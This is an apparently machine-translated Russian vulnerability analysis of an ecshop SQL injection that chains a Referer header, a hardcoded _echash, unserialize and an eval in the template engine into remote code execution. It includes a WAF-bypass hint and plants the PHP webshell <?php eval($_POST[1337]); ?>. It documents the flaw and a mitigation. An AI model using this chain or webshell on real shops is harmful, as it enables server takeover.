Анализ всего спектра уязвимостей ecshop, связанных с внедрением SQL-кода.
Анализ всего спектра уязвимостей ecshop, связанных с внедрением SQL-кода.

ecshop — это независимая система интернет-магазинов B2C, подходящая для предприятий и частных лиц для быстрого создания персонализированных интернет-магазинов. Система представляет собой кроссплатформенную программу с открытым исходным кодом, разработанную на основе языка PHP и архитектуры базы данных MYSQL. Последняя версия — 3.6.0. Недавно выяснилось, что в ecshop существует уязвимость SQL-инъекции, которая может затронуть все серии. В этой статье кратко проанализированы причины уязвимости SQL-инъекции.

Принцип уязвимости

Эта уязвимость в основном связана с уязвимостью в ответе на вход в файл user.php. Его внутренние параметры отображения могут контролироваться злоумышленником, что приводит к уязвимости SQL-инъекции. Эту уязвимость можно использовать для удаленного выполнения произвольных команд.

эксплуатировать

Анализ уязвимостей

Ответ на вход в систему, присвойте значение http_referer $back_act, параметр Referer может контролироваться злоумышленником.

Функция присваивания присваивает значение переменной $back_act переменной back_act. smarty — это шаблонизатор, который присваивает значение back_act файлу шаблона user_passport.dwt. дисплей считывает содержимое файла user_passport.dwt и выводит результаты после фильтрации

функция отображения fetch -> make_compiled -> file_get_contents -> fetch_str ->smarty_prefilter_preCompile ->select Удалите значение $out в html, которое содержит содержимое реферера. $out вырезается через переменную _echash, а _echash жестко запрограммирован в коде.

В это время полезная нагрузка реферера сокращается до $val.

Функция Insert_mod обрабатывает динамический контент $val

Разделите $val на |

$para десериализуется с помощью unserialize

$fun($para) динамически вызывает функцию Insert_ads, то есть Insert_ads($para). В Insert_ads существует уязвимость внедрения SQL. Продолжайте отслеживать Insert_ads. Эта функция напрямую объединяет значения id и num в SQL, что приводит к уязвимости внедрения. Среди них id="'/*" заключен в одинарную кавычку a.posttion_id, /* и num объединяются для комментирования порядка

*/ и id/* в num объединяются с порядком аннотаций, и запрос на объединение анализируется в базе данных.

Position_style присоединяется обратно для извлечения

fetch -> fetch_str Перенесите совпавшие символы в функцию выбора для обработки. в это время

Отслеживайте позицию_style для выбора функции

select -> get_val –> make_var

наконец-то совпало

в это времяselectпобедить

И вернитесь к fetch_str для вызова _eval, вызывающего выполнение произвольной команды. Эта команда предназначена для написания трояна-предложения посредством декодирования base64.

Для версии 3.x в ecshop добавлены waf и фильтрованный выбор объединения. Вы можете поместить эти два слова в значения id и num, чтобы обойти waf, и одновременно изменить значение _echash.

Демонстрация уязвимостей

Установите версию ecshop2.7.3 на виртуальную машину. Выполните приведенный выше скрипт,Вы можете написать предложение Троян<?php eval($_POST[1337]); ?> в 1.php Подключитесь через чоппер и получите разрешения веб-сервера

эксплуатировать Подвести итог

  1. На значение реферера напрямую ссылаются без осуждения, и злоумышленник может контролировать его.
  2. Используйте _echash = «554fcae493e564ee0dc75bdf2ebf94ca», чтобы сегментировать фиксированное значение и создать полезную нагрузку.
  3. Используйте десериализацию для создания полезных данных и передачи вредоносного кода.
  4. Неправильное объединение SQL функции Insert_ads приводит к внедрению SQL
  5. Функция make_val объединяет строковый ввод, а _eval вызывает пользовательский ввод через eval, что в конечном итоге приводит к выполнению произвольных команд.

временное решение

Поскольку ecshop официально не исправил эту проблему, вы можете выполнить интервальную обработку параметра num;id в Insert_ads.

Справочная ссылка

https://xz.aliyun.com/t/2689 https://blog.csdn.net/u012078682/article/details/37737015 http://ringk3y.com/2018/08/31/ecshop2-x%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C/

boy illustration
Учебное пособие по Jetpack Compose для начинающих, базовые элементы управления и макет
boy illustration
Код js веб-страницы, фон частицы, код спецэффектов
boy illustration
【новый! Суперподробное】Полное руководство по свойствам компонентов Figma.
boy illustration
🎉Обязательно к прочтению новичкам: полное руководство по написанию мини-программ WeChat с использованием программного обеспечения Cursor.
boy illustration
[Забавный проект Docker] VoceChat — еще одно приложение для мгновенного чата (IM)! Может быть встроен в любую веб-страницу!
boy illustration
Как реализовать переход по странице в HTML (html переходит на указанную страницу)
boy illustration
Как решить проблему зависания и низкой скорости при установке зависимостей с помощью npm. Существуют ли доступные источники npm, которые могут решить эту проблему?
boy illustration
Серия From Zero to Fun: Uni-App WeChat Payment Practice WeChat авторизует вход в систему и украшает страницу заказа, создает интерфейс заказа и инициирует запрос заказа
boy illustration
Серия uni-app: uni.navigateЧтобы передать скачок значения
boy illustration
Апплет WeChat настраивает верхнюю панель навигации и адаптируется к различным моделям.
boy illustration
JS-время конвертации
boy illustration
Обеспечьте бесперебойную работу ChromeDriver 125: советы по решению проблемы chromedriver.exe не найдены
boy illustration
Поле комментария, щелчок мышью, специальные эффекты, js-код
boy illustration
Объект массива перемещения объекта JS
boy illustration
Как открыть разрешение на позиционирование апплета WeChat_Как использовать WeChat для определения местонахождения друзей
boy illustration
Я даю вам два набора из 18 простых в использовании фонов холста Power BI, так что вам больше не придется возиться с цветами!
boy illustration
Получить текущее время в js_Как динамически отображать дату и время в js
boy illustration
Вам необходимо изучить сочетания клавиш vsCode для форматирования и организации кода, чтобы вам больше не приходилось настраивать формат вручную.
boy illustration
У ChatGPT большое обновление. Всего за 45 минут пресс-конференция показывает, что OpenAI сделал еще один шаг вперед.
boy illustration
Copilot облачной разработки — упрощение разработки
boy illustration
Микросборка xChatGPT с низким кодом, создание апплета чат-бота с искусственным интеллектом за пять шагов
boy illustration
CUDA Out of Memory: идеальное решение проблемы нехватки памяти CUDA
boy illustration
Анализ кластеризации отдельных ячеек, который должен освоить каждый&MarkerгенетическийВизуализация
boy illustration
vLLM: мощный инструмент для ускорения вывода ИИ
boy illustration
CodeGeeX: мощный инструмент генерации кода искусственного интеллекта, который можно использовать бесплатно в дополнение к второму пилоту.
boy illustration
Машинное обучение Реальный бой LightGBM + настройка параметров случайного поиска: точность 96,67%
boy illustration
Бесшовная интеграция, мгновенный интеллект [1]: платформа больших моделей Dify-LLM, интеграция без кодирования и встраивание в сторонние системы, более 42 тысяч звезд, чтобы стать свидетелями эксклюзивных интеллектуальных решений.
boy illustration
LM Studio для создания локальных больших моделей
boy illustration
Как определить количество слоев и нейронов скрытых слоев нейронной сети?
boy illustration
[Отслеживание целей] Подробное объяснение ByteTrack и детали кода